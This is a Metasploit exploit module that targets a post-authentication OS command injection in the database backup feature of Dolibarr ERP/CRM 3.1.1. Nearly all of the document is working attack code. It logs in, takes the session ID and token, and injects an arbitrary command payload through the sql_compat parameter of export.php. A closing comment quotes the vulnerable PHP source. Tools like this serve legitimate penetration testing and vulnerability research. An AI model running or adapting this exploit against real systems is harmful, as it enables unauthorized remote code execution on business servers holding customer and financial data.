Dolibarr ERP/CRM Post-Auth OS Command Injection

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Dolibarr ERP/CRM Post-Auth OS Command Injection",
        'Description' => %q{
          This module exploits a vulnerability found in Dolibarr ERP/CRM 3's
          backup feature.  This software is used to manage a company's business
          information such as contacts, invoices, orders, stocks, agenda, etc.
          When processing a database backup request, the export.php function
          does not check the input given to the sql_compat parameter, which allows
          a remote authenticated attacker to inject system commands into it,
          and then gain arbitrary code execution.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Nahuel Grisolia <nahuel[at]cintainfinita.com.ar>', # Discovery, PoC
          'sinn3r' # Metasploit
        ],
        'References' => [
          ['CVE', '2012-10059'],
          ['OSVDB', '80980'],
          ['URL', 'https://seclists.org/fulldisclosure/2012/Apr/78']
        ],
        'Arch' => ARCH_CMD,
        'Compat' => {
          'PayloadType' => 'cmd'
        },
        'Platform' => %w{linux unix},
        'Targets' => [
          # Older versions are probably also vulnerable according to
          # Nahuel's report on full disclosure
          ['Dolibarr 3.1.1 on Linux', {}]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2012-04-06',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [true, 'Dolibarr Username', 'admin']),
        OptString.new('PASSWORD', [true, 'Dolibarr Password', 'test']),
        OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/dolibarr/'])
      ]
    )
  end

  def check
    uri = normalize_uri(target_uri.path)
    uri << '/' if uri[-1, 1] != '/'
    res = send_request_raw({
      'method' => 'GET',
      'uri' => uri
    })

    if res and res.body =~ /Dolibarr 3\.1\.1/
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end

  def get_sid_token
    res = send_request_raw({
      'method' => 'GET',
      'uri' => @uri.path
    })

    return [nil, nil] if res.nil? || res.get_cookies.empty?

    # Get the session ID from the cookie
    m = res.get_cookies.match(/(DOLSESSID_.+);/)
    id = (m.nil?) ? nil : m[1]

    # Get the token from the decompressed HTTP body response
    m = res.body.match(/type="hidden" name="token" value="(.+)"/)
    token = (m.nil?) ? nil : m[1]

    return id, token
  end

  def login(sid, token)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => "#{@uri.path}index.php",
      'cookie' => sid,
      'vars_post' => {
        'token' => token,
        'loginfunction' => 'loginfunction',
        'tz' => '-6',
        'dst' => '1',
        'screenwidth' => '1093',
        'screenheight' => '842',
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      }
    })

    location = res.headers['Location']
    return (location =~ /admin\//)
  end

  def exploit
    @uri = target_uri
    @uri.path << "/" if @uri.path[-1, 1] != "/"
    peer = "#{rhost}:#{rport}"

    print_status("Getting the sid and token...")
    sid, token = get_sid_token
    if sid.nil?
      print_error("Unable to retrieve a session ID")
      return
    elsif token.nil?
      print_error("Unable to retrieve a token")
      return
    end

    user = datastore['USERNAME']
    pass = datastore['PASSWORD']
    print_status("Attempt to login with \"#{user}:#{pass}\"")
    success = login(sid, token)
    if not success
      print_error("Unable to login")
      return
    end

    print_status("Sending malicious request...")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(@uri.path, "admin/tools/export.php"),
      'cookie' => sid,
      'vars_post' => {
        'token' => token,
        'export_type' => 'server',
        'what' => 'mysql',
        'mysqldump' => '/usr/bin/mysqldump',
        'use_transaction' => 'yes',
        'disable_fk' => 'yes',
        'sql_compat' => ";#{payload.encoded};",
        'sql_structure' => 'structure',
        'drop' => '1',
        'sql_data' => 'data',
        'showcolumns' => 'yes',
        'extended_ins' => 'yes',
        'delayed' => 'yes',
        'sql_ignore' => 'yes',
        'hexforbinary' => 'yes',
        'filename_template' => 'mysqldump_dolibarrdebian_3.1.1_201203231716.sql',
        'compression' => 'none'
      }
    })
  end
end

=begin
Notes:

114    if ($_POST["sql_compat"] && $_POST["sql_compat"] != 'NONE') $param.=" --compatible=".$_POST["sql_compat"];
...
137    $paramcrypted=$param;
...
159    $fullcommandcrypted=$command." ".$paramcrypted." 2>&1";
...
165    if ($handle)
166    {
....
169    $handlein = popen($fullcommandclear, 'r');
....
185    }
=end